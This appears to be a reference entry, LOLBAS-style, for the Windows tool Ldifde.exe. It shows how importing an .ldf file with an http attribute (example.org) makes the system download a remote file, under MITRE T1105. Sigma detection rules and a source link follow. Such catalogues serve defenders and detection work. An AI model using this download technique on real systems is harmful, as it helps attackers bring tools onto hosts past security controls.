Ldifde.exe

Commands

1. DownloadAdministrator T1105

   Download file from Internet

   Ldifde -i -f {PATH:.ldf}

   Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as thumbnailPhoto:< http://example.org/somefile.txt, the file will be downloaded into IE temp folder.

   os: Windows Server with AD Domain Services role, Windows 10 with AD LDS role.

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_export.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules-emerging-threats/2019/TA/APT31/proc_creation_win_apt_apt31_judgement_panda.yml

Resources

• https://twitter.com/0gtweet/status/1564968845726580736